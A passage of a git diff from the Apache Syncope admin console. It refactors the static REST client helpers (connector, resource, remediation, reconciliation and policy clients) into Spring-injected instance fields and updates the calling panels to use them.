- result = RemediationRestClient.remedy(remediationTO.getKey(), req); + result = restClient.remedy(remediationTO.getKey(), req); } else { GroupUR req = AnyOperations.diff(inner, previousGroupTO, false); @@ -442,7 +464,7 @@ protected Serializable onApplyInternal(final AnyWrapper modelObject) { result = new ProvisioningResult<>(); result.setEntity(inner); } else { - result = RemediationRestClient.remedy(remediationTO.getKey(), req); + result = restClient.remedy(remediationTO.getKey(), req); } } @@ -450,7 +472,7 @@ protected Serializable onApplyInternal(final AnyWrapper modelObject) { } } - private static class RemediationAnyObjectWizardBuilder extends AnyObjectWizardBuilder { + private class RemediationAnyObjectWizardBuilder extends AnyObjectWizardBuilder { private static final long serialVersionUID = 6993139499479015083L; @@ -481,7 +503,7 @@ protected Serializable onApplyInternal(final AnyWrapper modelObject AnyObjectCR req = new AnyObjectCR(); EntityTOUtils.toAnyCR(inner, req); - result = RemediationRestClient.remedy(remediationTO.getKey(), req); + result = restClient.remedy(remediationTO.getKey(), req); } else { AnyObjectUR req = AnyOperations.diff(inner, previousAnyObjectTO, false); @@ -490,7 +512,7 @@ protected Serializable onApplyInternal(final AnyWrapper modelObject result = new ProvisioningResult<>(); result.setEntity(inner); } else { - result = RemediationRestClient.remedy(remediationTO.getKey(), req); + result = restClient.remedy(remediationTO.getKey(), req); } } diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/panels/ResourceDirectoryPanel.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/panels/ResourceDirectoryPanel.java index 6432ce3122f..8029cf1a555 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/panels/ResourceDirectoryPanel.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/panels/ResourceDirectoryPanel.java @@ -31,6 +31,7 @@ import org.apache.syncope.client.console.commons.IdRepoConstants; import org.apache.syncope.client.console.commons.ResourceDataProvider; import org.apache.syncope.client.console.pages.BasePage; +import org.apache.syncope.client.console.rest.AuditRestClient; import org.apache.syncope.client.console.rest.ConnectorRestClient; import org.apache.syncope.client.console.rest.ResourceRestClient; import org.apache.syncope.client.console.status.ResourceStatusModal; @@ -62,12 +63,19 @@ import org.apache.wicket.model.Model; import org.apache.wicket.model.ResourceModel; import org.apache.wicket.model.StringResourceModel; +import org.apache.wicket.spring.injection.annot.SpringBean; public class ResourceDirectoryPanel extends DirectoryPanel { private static final long serialVersionUID = -5223129956783782225L; + @SpringBean + protected ConnectorRestClient connectorRestClient; + + @SpringBean + protected AuditRestClient auditRestClient; + protected String keyword; protected final BaseModal propTaskModal; @@ -136,7 +144,7 @@ public void onEvent(final IEvent event) { @Override protected ResourceDataProvider dataProvider() { - dataProvider = new ResourceDataProvider(rows, pageRef, keyword); + dataProvider = new ResourceDataProvider(restClient, rows, pageRef, keyword); return dataProvider; } @@ -174,13 +182,14 @@ public ActionsPanel getActions(final IModel model) { @Override public void onClick(final AjaxRequestTarget target, final Serializable ignore) { - ResourceTO resource = ResourceRestClient.read(((ResourceTO) model.getObject()).getKey()); - ConnInstanceTO connInstance = ConnectorRestClient.read(resource.getConnector()); + ResourceTO resource = restClient.read(((ResourceTO) model.getObject()).getKey()); + ConnInstanceTO connInstance = connectorRestClient.read(resource.getConnector()); IModel model = new CompoundPropertyModel<>(resource); modal.setFormModel(model); - target.add(modal.setContent(new ResourceWizardBuilder(resource, pageRef). + target.add(modal.setContent(new ResourceWizardBuilder( + resource, restClient, connectorRestClient, pageRef). build(BaseModal.CONTENT_ID, SyncopeConsoleSession.get(). owns(IdMEntitlement.RESOURCE_UPDATE, connInstance.getAdminRealm()) @@ -199,8 +208,8 @@ public void onClick(final AjaxRequestTarget target, final Serializable ignore) { @Override public void onClick(final AjaxRequestTarget target, final Serializable ignore) { - ResourceTO resource = ResourceRestClient.read(((ResourceTO) model.getObject()).getKey()); - ConnInstanceTO connInstance = ConnectorRestClient.read(resource.getConnector()); + ResourceTO resource = restClient.read(((ResourceTO) model.getObject()).getKey()); + ConnInstanceTO connInstance = connectorRestClient.read(resource.getConnector()); if (SyncopeConsoleSession.get(). owns(IdMEntitlement.RESOURCE_UPDATE, connInstance.getAdminRealm())) { @@ -229,7 +238,7 @@ public void onClick(final AjaxRequestTarget target, final Serializable ignore) { @Override public void onClick(final AjaxRequestTarget target, final Serializable ignore) { - ResourceTO resource = ResourceRestClient.read(((ResourceTO) model.getObject()).getKey()); + ResourceTO resource = restClient.read(((ResourceTO) model.getObject()).getKey()); target.add(propTaskModal.setContent(new ConnObjects(resource, pageRef))); propTaskModal.header(new StringResourceModel("resource.explore.list", Model.of(model.getObject()))); @@ -285,7 +294,7 @@ public void onClick(final AjaxRequestTarget target, final Serializable ignore) { @Override public void onClick(final AjaxRequestTarget target, final Serializable ignore) { - ResourceTO modelObject = ResourceRestClient.read(((ResourceTO) model.getObject()).getKey()); + ResourceTO modelObject = restClient.read(((ResourceTO) model.getObject()).getKey()); target.add(propTaskModal.setContent(new ResourceStatusModal(pageRef, modelObject))); propTaskModal.header(new Model<>(MessageFormat.format(getString("resource.reconciliation"), ((ResourceTO) model.getObject()).getKey()))); @@ -299,13 +308,14 @@ public void onClick(final AjaxRequestTarget target, final Serializable ignore) { @Override public void onClick(final AjaxRequestTarget target, final Serializable ignore) { - ResourceTO modelObject = ResourceRestClient.read(((ResourceTO) model.getObject()).getKey()); + ResourceTO modelObject = restClient.read(((ResourceTO) model.getObject()).getKey()); target.add(historyModal.setContent(new AuditHistoryModal<>( AuditElements.EventCategoryType.LOGIC, "ResourceLogic", modelObject, - IdMEntitlement.RESOURCE_UPDATE) { + IdMEntitlement.RESOURCE_UPDATE, + auditRestClient) { private static final long serialVersionUID = -3712506022627033811L; @@ -313,7 +323,7 @@ public void onClick(final AjaxRequestTarget target, final Serializable ignore) { protected void restore(final String json, final AjaxRequestTarget target) { try { ResourceTO updated = MAPPER.readValue(json, ResourceTO.class); - ResourceRestClient.update(updated); + restClient.update(updated); SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); } catch (Exception e) { @@ -340,7 +350,7 @@ protected void restore(final String json, final AjaxRequestTarget target) { @Override public void onClick(final AjaxRequestTarget target, final Serializable ignore) { try { - ResourceTO resource = ResourceRestClient.read(((ResourceTO) model.getObject()).getKey()); + ResourceTO resource = restClient.read(((ResourceTO) model.getObject()).getKey()); resource.setKey("Copy of " + resource.getKey()); // reset some resource objects keys resource.getProvisions().forEach(provision -> { @@ -349,7 +359,8 @@ public void onClick(final AjaxRequestTarget target, final Serializable ignore) { } provision.getVirSchemas().clear(); }); - target.add(modal.setContent(new ResourceWizardBuilder(resource, pageRef). + target.add(modal.setContent(new ResourceWizardBuilder( + resource, restClient, connectorRestClient, pageRef). build(BaseModal.CONTENT_ID, AjaxWizard.Mode.CREATE))); modal.header(new Model<>(MessageFormat.format(getString("resource.clone"), resource.getKey()))); @@ -369,9 +380,10 @@ public void onClick(final AjaxRequestTarget target, final Serializable ignore) { @Override public void onClick(final AjaxRequestTarget target, final Serializable ignore) { try { - ResourceRestClient.delete(((ResourceTO) model.getObject()).getKey()); + restClient.delete(((ResourceTO) model.getObject()).getKey()); target.appendJavaScript(String.format("jsPlumb.remove('%s');", ((ResourceTO) model.getObject()).getKey())); + SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); } catch (SyncopeClientException e) { LOG.error("While deleting resource {}", ((ResourceTO) model.getObject()).getKey(), e); @@ -410,8 +422,8 @@ public static class Builder extends DirectoryPanel.Builder anyTypes = new HashMap<>(); + @SpringBean + protected ResourceRestClient resourceRestClient; - private final AjaxDropDownChoicePanel anyType; + @SpringBean + protected ConnectorRestClient connectorRestClient; - private ResourceTO selectedResource; + protected final Map anyTypes = new HashMap<>(); + + protected final AjaxDropDownChoicePanel anyType; + + protected ResourceTO selectedResource; public VirSchemaDetails(final String id, final VirSchemaTO schemaTO) { super(id, schemaTO); @@ -58,7 +65,7 @@ public VirSchemaDetails(final String id, final VirSchemaTO schemaTO) { AjaxDropDownChoicePanel resource = new AjaxDropDownChoicePanel<>( "resource", getString("resource"), new PropertyModel(schemaTO, "resource"), false). setNullValid(false); - resource.setChoices(ResourceRestClient.list().stream().map(ResourceTO::getKey).collect(Collectors.toList())); + resource.setChoices(resourceRestClient.list().stream().map(ResourceTO::getKey).collect(Collectors.toList())); resource.setOutputMarkupId(true); resource.addRequiredLabel(); if (resource.getModelObject() != null) { @@ -122,10 +129,10 @@ protected void onUpdate(final AjaxRequestTarget target) { }); } - private String getAdminRealm(final String connectorKey) { + protected String getAdminRealm(final String connectorKey) { String adminRealm = null; try { - adminRealm = ConnectorRestClient.read(connectorKey).getAdminRealm(); + adminRealm = connectorRestClient.read(connectorKey).getAdminRealm(); } catch (Exception e) { LOG.error("Could not read Admin Realm for External Resource {}", selectedResource.getKey()); } @@ -133,10 +140,10 @@ private String getAdminRealm(final String connectorKey) { return adminRealm; } - private void populateAnyTypes(final String resourceKey) { + protected void populateAnyTypes(final String resourceKey) { anyTypes.clear(); if (resourceKey != null) { - ResourceTO resource = ResourceRestClient.read(resourceKey); + ResourceTO resource = resourceRestClient.read(resourceKey); String adminRealm = getAdminRealm(resource.getConnector()); if (SyncopeConsoleSession.get().owns(IdMEntitlement.RESOURCE_READ, adminRealm)) { @@ -147,8 +154,8 @@ private void populateAnyTypes(final String resourceKey) { } } - private List getExtAttrNames() { - return ConnectorRestClient.getExtAttrNames( + protected List getExtAttrNames() { + return connectorRestClient.getExtAttrNames( SyncopeConstants.ROOT_REALM, anyTypes.get(anyType.getModelObject()), selectedResource.getConnector(), diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/panels/search/ConnObjectSearchPanel.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/panels/search/ConnObjectSearchPanel.java index 0ae25e60281..fcebeb51985 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/panels/search/ConnObjectSearchPanel.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/panels/search/ConnObjectSearchPanel.java @@ -32,6 +32,7 @@ import org.apache.wicket.PageReference; import org.apache.wicket.model.IModel; import org.apache.wicket.model.LoadableDetachableModel; +import org.apache.wicket.spring.injection.annot.SpringBean; public class ConnObjectSearchPanel extends AbstractSearchPanel { @@ -68,6 +69,9 @@ public ConnObjectSearchPanel build(final String id) { } } + @SpringBean + protected ConnectorRestClient connectorRestClient; + protected ConnObjectSearchPanel(final String id, final AnyTypeKind kind, final Builder builder) { super(id, kind, builder); this.resource = builder.resource; @@ -116,8 +120,8 @@ protected Map load() { @Override protected Map load() { - return ConnectorRestClient.buildObjectClassInfo( - ConnectorRestClient.read(resource.getConnector()), false).stream(). + return connectorRestClient.buildObjectClassInfo( + connectorRestClient.read(resource.getConnector()), false).stream(). map(ConnIdObjectClass::getAttributes). flatMap(List::stream). collect(Collectors.toMap( diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/policies/PropagationPolicyDirectoryPanel.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/policies/PropagationPolicyDirectoryPanel.java index 29d24a41215..570c93be2d4 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/policies/PropagationPolicyDirectoryPanel.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/policies/PropagationPolicyDirectoryPanel.java @@ -19,6 +19,7 @@ package org.apache.syncope.client.console.policies; import java.util.List; +import org.apache.syncope.client.console.rest.PolicyRestClient; import org.apache.syncope.client.console.wicket.extensions.markup.html.repeater.data.table.BooleanPropertyColumn; import org.apache.syncope.common.lib.policy.PropagationPolicyTO; import org.apache.syncope.common.lib.types.IdRepoEntitlement; @@ -33,13 +34,17 @@ public class PropagationPolicyDirectoryPanel extends PolicyDirectoryPanel(PolicyType.PROPAGATION, defaultItem, modal, pageRef), true); + new PolicyModalPanelBuilder<>(PolicyType.PROPAGATION, defaultItem, modal, restClient, pageRef), true); MetaDataRoleAuthorizationStrategy.authorize(addAjaxLink, RENDER, IdRepoEntitlement.POLICY_CREATE); initResultTable(); diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/policies/ProvisioningPolicyModalPanel.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/policies/ProvisioningPolicyModalPanel.java index 6911359f4c7..77765d4bebd 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/policies/ProvisioningPolicyModalPanel.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/policies/ProvisioningPolicyModalPanel.java @@ -63,14 +63,27 @@ import org.apache.wicket.model.LoadableDetachableModel; import org.apache.wicket.model.Model; import org.apache.wicket.model.PropertyModel; +import org.apache.wicket.spring.injection.annot.SpringBean; public class ProvisioningPolicyModalPanel extends AbstractModalPanel { private static final long serialVersionUID = 2988891313881271124L; - private static final JsonMapper MAPPER = JsonMapper.builder().findAndAddModules().build(); + protected static final JsonMapper MAPPER = JsonMapper.builder().findAndAddModules().build(); - private final IModel> implementations; + @SpringBean + protected ImplementationRestClient implementationRestClient; + + @SpringBean + protected PolicyRestClient policyRestClient; + + @SpringBean + protected AnyTypeRestClient anyTypeRestClient; + + @SpringBean + protected SchemaRestClient schemaRestClient; + + protected final IModel> implementations; private final IModel> model; @@ -89,7 +102,7 @@ public ProvisioningPolicyModalPanel( @Override protected Map load() { - return ImplementationRestClient.list(policyTO instanceof PullPolicyTO + return implementationRestClient.list(policyTO instanceof PullPolicyTO ? IdMImplementationType.PULL_CORRELATION_RULE : IdMImplementationType.PUSH_CORRELATION_RULE).stream(). collect(Collectors.toMap(ImplementationTO::getKey, Function.identity())); @@ -153,13 +166,13 @@ public void onSubmit(final AjaxRequestTarget target) { if (rule.getImpl().getEngine() == ImplementationEngine.JAVA && rule.getDefaultRuleConf() != null) { try { - ImplementationRestClient.update(rule.getImpl()); + implementationRestClient.update(rule.getImpl()); } catch (Exception e) { throw new WicketRuntimeException(e); } } }); - PolicyRestClient.update(getItem() instanceof PullPolicyTO + policyRestClient.update(getItem() instanceof PullPolicyTO ? PolicyType.PULL : PolicyType.PUSH, getItem()); SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); @@ -181,7 +194,7 @@ protected class CorrelationRulePanel extends Panel { AjaxDropDownChoicePanel anyType = new AjaxDropDownChoicePanel<>( "anyType", "anyType", new PropertyModel(correlationRule.getObject(), "anyType")). setNullValid(true). - setChoices(AnyTypeRestClient.list()); + setChoices(anyTypeRestClient.list()); anyType.setNullValid(false); anyType.setRequired(true); anyType.setOutputMarkupId(true); @@ -308,7 +321,7 @@ protected void onUpdate(final AjaxRequestTarget target) { private List getSchemas(final CorrelationRule rule) { List choices = StringUtils.isEmpty(rule.getAnyType()) ? new ArrayList<>() - : SchemaRestClient.getSchemas(SchemaType.PLAIN, + : schemaRestClient.getSchemas(SchemaType.PLAIN, rule.getAnyType().equals(AnyTypeKind.USER.name()) ? AnyTypeKind.USER : rule.getAnyType().equals(AnyTypeKind.GROUP.name()) diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/policies/PullPolicyDirectoryPanel.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/policies/PullPolicyDirectoryPanel.java index 3f299868203..f98b74655d9 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/policies/PullPolicyDirectoryPanel.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/policies/PullPolicyDirectoryPanel.java @@ -19,6 +19,7 @@ package org.apache.syncope.client.console.policies; import java.util.List; +import org.apache.syncope.client.console.rest.PolicyRestClient; import org.apache.syncope.client.console.wicket.markup.html.form.ActionLink; import org.apache.syncope.client.console.wicket.markup.html.form.ActionsPanel; import org.apache.syncope.common.lib.policy.PullPolicyTO; @@ -40,13 +41,11 @@ public class PullPolicyDirectoryPanel extends PolicyDirectoryPanel private static final long serialVersionUID = 4984337552918213290L; - public PullPolicyDirectoryPanel(final String id, final PageReference pageRef) { - super(id, PolicyType.PULL, pageRef); - - PullPolicyTO defaultItem = new PullPolicyTO(); + public PullPolicyDirectoryPanel(final String id, final PolicyRestClient restClient, final PageReference pageRef) { + super(id, restClient, PolicyType.PULL, pageRef); this.addNewItemPanelBuilder( - new PolicyModalPanelBuilder<>(PolicyType.PULL, defaultItem, modal, pageRef), true); + new PolicyModalPanelBuilder<>(PolicyType.PULL, new PullPolicyTO(), modal, restClient, pageRef), true); MetaDataRoleAuthorizationStrategy.authorize(addAjaxLink, RENDER, IdRepoEntitlement.POLICY_CREATE); initResultTable(); @@ -67,13 +66,13 @@ protected void addCustomActions(final ActionsPanel panel, final IM @Override public void onClick(final AjaxRequestTarget target, final PullPolicyTO ignore) { target.add(policySpecModal.setContent( - new ProvisioningPolicyModalPanel(model.getObject(), policySpecModal, pageRef))); + new ProvisioningPolicyModalPanel(model.getObject(), policySpecModal, pageRef))); policySpecModal.header(new StringResourceModel( - "policy.rules", PullPolicyDirectoryPanel.this, Model.of(model.getObject()))); + "policy.rules", PullPolicyDirectoryPanel.this, Model.of(model.getObject()))); MetaDataRoleAuthorizationStrategy.authorize( - policySpecModal.getForm(), ENABLE, IdRepoEntitlement.POLICY_UPDATE); + policySpecModal.getForm(), ENABLE, IdRepoEntitlement.POLICY_UPDATE); policySpecModal.show(true); } diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/policies/PushPolicyDirectoryPanel.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/policies/PushPolicyDirectoryPanel.java index 0f0faa4836e..0c31b1541a6 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/policies/PushPolicyDirectoryPanel.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/policies/PushPolicyDirectoryPanel.java @@ -19,6 +19,7 @@ package org.apache.syncope.client.console.policies; import java.util.List; +import org.apache.syncope.client.console.rest.PolicyRestClient; import org.apache.syncope.client.console.wicket.markup.html.form.ActionLink; import org.apache.syncope.client.console.wicket.markup.html.form.ActionsPanel; import org.apache.syncope.common.lib.policy.PushPolicyTO; @@ -40,13 +41,11 @@ public class PushPolicyDirectoryPanel extends PolicyDirectoryPanel private static final long serialVersionUID = 4984337552918213290L; - public PushPolicyDirectoryPanel(final String id, final PageReference pageRef) { - super(id, PolicyType.PUSH, pageRef); - - PushPolicyTO defaultItem = new PushPolicyTO(); + public PushPolicyDirectoryPanel(final String id, final PolicyRestClient restClient, final PageReference pageRef) { + super(id, restClient, PolicyType.PUSH, pageRef); this.addNewItemPanelBuilder( - new PolicyModalPanelBuilder<>(PolicyType.PUSH, defaultItem, modal, pageRef), true); + new PolicyModalPanelBuilder<>(PolicyType.PUSH, new PushPolicyTO(), modal, restClient, pageRef), true); MetaDataRoleAuthorizationStrategy.authorize(addAjaxLink, RENDER, IdRepoEntitlement.POLICY_CREATE); initResultTable(); @@ -67,13 +66,13 @@ protected void addCustomActions(final ActionsPanel panel, final IM @Override public void onClick(final AjaxRequestTarget target, final PushPolicyTO ignore) { target.add(policySpecModal.setContent( - new ProvisioningPolicyModalPanel(model.getObject(), policySpecModal, pageRef))); + new ProvisioningPolicyModalPanel(model.getObject(), policySpecModal, pageRef))); policySpecModal.header(new StringResourceModel( - "policy.rules", PushPolicyDirectoryPanel.this, Model.of(model.getObject()))); + "policy.rules", PushPolicyDirectoryPanel.this, Model.of(model.getObject()))); MetaDataRoleAuthorizationStrategy.authorize( - policySpecModal.getForm(), ENABLE, IdRepoEntitlement.POLICY_UPDATE); + policySpecModal.getForm(), ENABLE, IdRepoEntitlement.POLICY_UPDATE); policySpecModal.show(true); } diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/rest/ConnectorRestClient.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/rest/ConnectorRestClient.java index f34ef84e2ab..70486bc2f3e 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/rest/ConnectorRestClient.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/rest/ConnectorRestClient.java @@ -32,6 +32,7 @@ import org.apache.commons.lang3.tuple.Pair; import org.apache.cxf.jaxrs.client.WebClient; import org.apache.syncope.client.console.SyncopeConsoleSession; +import org.apache.syncope.client.lib.WebClientBuilder; import org.apache.syncope.common.lib.SyncopeClientException; import org.apache.syncope.common.lib.to.ConnIdBundle; import org.apache.syncope.common.lib.to.ConnIdObjectClass; @@ -49,7 +50,7 @@ public class ConnectorRestClient extends BaseRestClient { private static final long serialVersionUID = -6870366819966266617L; - public static List getAllConnectors() { + public List getAllConnectors() { List connectors = List.of(); try { connectors = getService(ConnectorService.class).list(SyncopeConsoleSession.get().getLocale().toString()); @@ -59,7 +60,7 @@ public static List getAllConnectors() { return connectors; } - public static ConnInstanceTO create(final ConnInstanceTO connectorTO) { + public ConnInstanceTO create(final ConnInstanceTO connectorTO) { List filteredConf = filterProperties(connectorTO.getConf()); connectorTO.getConf().clear(); connectorTO.getConf().addAll(filteredConf); @@ -70,7 +71,7 @@ public static ConnInstanceTO create(final ConnInstanceTO connectorTO) { return getObject(service, response.getLocation(), ConnInstanceTO.class); } - public static List getObjectClasses(final String connectorKey) { + public List getObjectClasses(final String connectorKey) { List result = new ArrayList<>(); try { ConnectorService service = getService(ConnectorService.class); @@ -86,7 +87,7 @@ public static List getObjectClasses(final String connectorKey) { return result; } - public static List getExtAttrNames( + public List getExtAttrNames( final String adminRealm, final String objectClass, final String connectorKey, @@ -103,7 +104,7 @@ public static List getExtAttrNames( findAny(); return connIdObjectClass.map(connIdObjectClassTO -> connIdObjectClassTO.getAttributes().stream(). - map(PlainSchemaTO::getKey).collect(Collectors.toList())).orElseGet(List::of); + map(PlainSchemaTO::getKey).collect(Collectors.toList())).orElseGet(List::of); } /** @@ -112,7 +113,7 @@ public static List getExtAttrNames( * @param key the id * @return ConnInstanceTO */ - public static ConnInstanceTO read(final String key) { + public ConnInstanceTO read(final String key) { ConnInstanceTO connectorTO = null; try { @@ -125,21 +126,21 @@ public static ConnInstanceTO read(final String key) { return connectorTO; } - public static void update(final ConnInstanceTO connectorTO) { + public void update(final ConnInstanceTO connectorTO) { List filteredConf = filterProperties(connectorTO.getConf()); connectorTO.getConf().clear(); connectorTO.getConf().addAll(filteredConf); getService(ConnectorService.class).update(connectorTO); } - public static ConnInstanceTO delete(final String key) { + public ConnInstanceTO delete(final String key) { ConnInstanceTO connectorTO = getService(ConnectorService.class). read(key, SyncopeConsoleSession.get().getLocale().toString()); getService(ConnectorService.class).delete(key); return connectorTO; } - public static List getAllBundles() { + public List getAllBundles() { List bundles = List.of(); try { @@ -151,7 +152,7 @@ public static List getAllBundles() { return bundles; } - private static List filterProperties(final Collection properties) { + protected List filterProperties(final Collection properties) { List newProperties = new ArrayList<>(); properties.stream().map(property -> { @@ -170,10 +171,11 @@ private static List filterProperties(final Collection check(final ConnInstanceTO connectorTO) { + public Pair check(final ConnInstanceTO connectorTO) { ConnInstanceTO toBeChecked = new ConnInstanceTO(); BeanUtils.copyProperties(connectorTO, toBeChecked, new String[] { "configuration", "configurationMap" }); toBeChecked.getConf().addAll(filterProperties(connectorTO.getConf())); @@ -205,7 +207,7 @@ public static Pair check(final ConnInstanceTO connectorTO) { return Pair.of(check, errorMessage); } - public static List buildObjectClassInfo( + public List buildObjectClassInfo( final ConnInstanceTO connInstanceTO, final boolean includeSpecial) { List result = List.of(); @@ -218,7 +220,7 @@ public static List buildObjectClassInfo( return result; } - public static void reload() { + public void reload() { getService(ConnectorService.class).reload(); } } diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/rest/ReconciliationRestClient.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/rest/ReconciliationRestClient.java index a341569a534..50496d1fde5 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/rest/ReconciliationRestClient.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/rest/ReconciliationRestClient.java @@ -24,7 +24,6 @@ import javax.ws.rs.core.Response; import org.apache.cxf.jaxrs.client.Client; import org.apache.cxf.jaxrs.client.WebClient; -import org.apache.syncope.client.console.SyncopeConsoleSession; import org.apache.syncope.common.lib.to.ProvisioningReport; import org.apache.syncope.common.lib.to.PullTaskTO; import org.apache.syncope.common.lib.to.PushTaskTO; @@ -40,31 +39,31 @@ public class ReconciliationRestClient extends BaseRestClient { private static final long serialVersionUID = -3161863874876938094L; - public static ReconStatus status(final ReconQuery reconQuery) { + public ReconStatus status(final ReconQuery reconQuery) { return getService(ReconciliationService.class).status(reconQuery); } - public static void push(final ReconQuery reconQuery, final PushTaskTO pushTask) { + public void push(final ReconQuery reconQuery, final PushTaskTO pushTask) { getService(ReconciliationService.class).push(reconQuery, pushTask); } - public static void pull(final ReconQuery reconQuery, final PullTaskTO pullTask) { + public void pull(final ReconQuery reconQuery, final PullTaskTO pullTask) { getService(ReconciliationService.class).pull(reconQuery, pullTask); } - public static Response push(final AnyQuery anyQuery, final CSVPushSpec spec) { + public Response push(final AnyQuery anyQuery, final CSVPushSpec spec) { ReconciliationService service = getService(ReconciliationService.class); Client client = WebClient.client(service); client.accept(RESTHeaders.TEXT_CSV); Response response = service.push(anyQuery, spec); - SyncopeConsoleSession.get().resetClient(ReconciliationService.class); + resetClient(ReconciliationService.class); return response; } - public static ArrayList pull(final CSVPullSpec spec, final InputStream csv) { + public ArrayList pull(final CSVPullSpec spec, final InputStream csv) { ReconciliationService service = getService(ReconciliationService.class); Client client = WebClient.client(service); client.type(RESTHeaders.TEXT_CSV); @@ -72,7 +71,7 @@ public static ArrayList pull(final CSVPullSpec spec, final I ArrayList result = service.pull(spec, csv).stream(). collect(Collectors.toCollection(ArrayList::new)); - SyncopeConsoleSession.get().resetClient(ReconciliationService.class); + resetClient(ReconciliationService.class); return result; } diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/rest/RemediationRestClient.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/rest/RemediationRestClient.java index 4b6dae8482e..437c27d6247 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/rest/RemediationRestClient.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/rest/RemediationRestClient.java @@ -34,41 +34,41 @@ public class RemediationRestClient extends BaseRestClient { private static final long serialVersionUID = -7033745375669316378L; - public static int countRemediations() { + public int countRemediations() { return getService(RemediationService.class). list(new RemediationQuery.Builder().page(1).size(0).build()). getTotalCount(); } - public static List getRemediations(final int page, final int size, final SortParam sort) { + public List getRemediations(final int page, final int size, final SortParam sort) { return getService(RemediationService.class). list(new RemediationQuery.Builder().page(page).size(size).orderBy(toOrderBy(sort)).build()). getResult(); } - public static RemediationTO getRemediation(final String key) { + public RemediationTO getRemediation(final String key) { return getService(RemediationService.class).read(key); } - public static ProvisioningResult remedy(final String key, final C anyCR) { + public ProvisioningResult remedy(final String key, final C anyCR) { Response response = getService(RemediationService.class).remedy(key, anyCR); return response.readEntity(new GenericType<>() { }); } - public static ProvisioningResult remedy(final String key, final AnyUR anyUR) { + public ProvisioningResult remedy(final String key, final AnyUR anyUR) { Response response = getService(RemediationService.class).remedy(key, anyUR); return response.readEntity(new GenericType<>() { }); } - public static ProvisioningResult remedy(final String key, final String anyKey) { + public ProvisioningResult remedy(final String key, final String anyKey) { Response response = getService(RemediationService.class).remedy(key, anyKey); return response.readEntity(new GenericType<>() { }); } - public static void delete(final String remediation) { + public void delete(final String remediation) { getService(RemediationService.class).delete(remediation); } } diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/rest/ResourceRestClient.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/rest/ResourceRestClient.java index 908a5ca2cf8..0930cd38d62 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/rest/ResourceRestClient.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/rest/ResourceRestClient.java @@ -29,6 +29,7 @@ import org.apache.commons.io.IOUtils; import org.apache.commons.lang3.tuple.Pair; import org.apache.cxf.jaxrs.client.WebClient; +import org.apache.syncope.client.lib.WebClientBuilder; import org.apache.syncope.common.lib.to.ConnObject; import org.apache.syncope.common.lib.to.PagedConnObjectResult; import org.apache.syncope.common.lib.to.ResourceTO; @@ -44,10 +45,11 @@ public class ResourceRestClient extends BaseRestClient { private static final long serialVersionUID = -6898907679835668987L; - public static boolean check(final String coreAddress, final String domain, final String jwt, final String key) + public boolean check(final String coreAddress, final String domain, final String jwt, final String key) throws IOException { - WebClient client = WebClient.create(coreAddress).path("resources"). + WebClient client = WebClientBuilder.build(coreAddress). + path("resources"). accept(MediaType.APPLICATION_JSON_TYPE). type(MediaType.APPLICATION_JSON_TYPE). header(RESTHeaders.DOMAIN, domain). @@ -61,7 +63,7 @@ public static boolean check(final String coreAddress, final String domain, final return false; } - public static Pair check(final ResourceTO resourceTO) { + public Pair check(final ResourceTO resourceTO) { boolean check = false; String errorMessage = null; try { @@ -75,11 +77,11 @@ public static Pair check(final ResourceTO resourceTO) { return Pair.of(check, errorMessage); } - public static ConnObject readConnObject(final String resource, final String anyTypeKey, final String anyKey) { + public ConnObject readConnObject(final String resource, final String anyTypeKey, final String anyKey) { return getService(ResourceService.class).readConnObject(resource, anyTypeKey, anyKey); } - public static String getConnObjectKeyValue(final String resource, final String anyTypeKey, final String anyKey) { + public String getConnObjectKeyValue(final String resource, final String anyTypeKey, final String anyKey) { try { Response response = getService(ResourceService.class).getConnObjectKeyValue(resource, anyTypeKey, anyKey); if (response.getStatusInfo().getFamily() == Response.Status.Family.SUCCESSFUL) { @@ -93,7 +95,7 @@ public static String getConnObjectKeyValue(final String resource, final String a return null; } - public static Pair> searchConnObjects( + public Pair> searchConnObjects( final String resource, final String anyTypeKey, final ConnObjectTOQuery.Builder queryBuilder, @@ -117,11 +119,11 @@ public static Pair> searchConnObjects( return Pair.of(nextPageResultCookie, result); } - public static ResourceTO read(final String name) { + public ResourceTO read(final String name) { return 